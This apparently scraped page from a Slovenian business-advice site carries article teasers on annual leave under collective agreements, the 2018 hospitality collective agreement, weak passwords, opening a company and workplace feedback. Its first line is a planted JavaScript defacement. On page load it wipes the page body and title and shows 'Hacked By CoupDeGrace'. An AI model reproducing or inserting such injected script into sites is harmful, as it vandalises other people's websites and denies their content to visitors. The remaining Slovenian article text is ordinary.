document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='
Hacked By CoupDeGrace
';});

Odmera letnega dopusta po kolektivni pogodbi za obrt in podjetništvo

Delovno razmerje se sklene s pogodbo o zaposlitvi (11. člen ZDR-1), ki mora biti v pisni obliki (17. člen ZDR-1).  Obvezna sestavina pogodbe o zaposlitvi pa je tudi navedba, po kateri kolektivni pogodbi ali splošnih aktih se bosta delavec in delodajalec ravnala (31.člen ZDR-1). Pravico do letnega dopusta pridobi delavec s sklenitvijo delovnega razmerja (159. člen ZDR-1).

Kriteriji za odmero letnega dopusta v gostinstvu in turizmu

V drugi polovici lanskega leta (2018) smo dobili novo Kolektivno pogodbo dejavnosti gostinstva in turizma Slovenije, ki sta jo s strani predstavnikov delodajalcev podpisala Turistično gostinska zbornica Slovenije in Združenje delodajalcev Slovenije g. i. z., Sekcija za gostinstvo in turizem ter s strani predstavnika delojemalcev Sindikat delavcev gostinstva in turizma Slovenije. Objavljena je bila v Uradnem listu RS, št. 56/2018, dne 17. 8. 2018 in se uporablja od 1. 9. 2018 dalje.

Slaba varnostna gesla so še vedno 12345 ... Tudi pri vas?

Kibernetska varnost in močna varnostna gesla bosta v prihodnosti vedno bolj povezana.

Delo v lastnem podjetju

Razmišljam da bi odprl svoj d.o.o., pa me zanima…

V začetku poslovanja običajno posli še »visijo v zraku« in le malokrat podjetje začne funkcionirati z večkadrovsko zasedbo, ampak se običajno zadeva odvija po sistemu »one man band«, ko je podjetnik hkrati tako ustanovitelj in lastnik d.o.o.-ja, neposredni operativec za opravljanje del iz naslova registrirane dejavnosti kot tudi direktor te družbe. V kakšni pogodbi naj opredeli vse te naloge? 

Kakšne ukrepe pripravlja država v naslednjih letih za gospodarsko področje ?

Ministrstvo za finance je danes predstavilo predlog ukrepov za davčno optimizacijo med leti 2019 in 2022.

Zakaj so kritike in pohvale na delovnem mestu pomembne?

Ne samo na delovnem mestu, pač pa v medosebnih odnosih nasploh, so kritike in pohvale pomemben del odnosa. Pohvale nas motivirajo, kritike pa nam omogočajo osebnostno rast in razvoj. A ni vseeno kakšne vrste kritiko smo podali. Prav tako ni vseeno, kolikokrat dajemo kritiko in kolikokrat pohvalo.

Podkategorije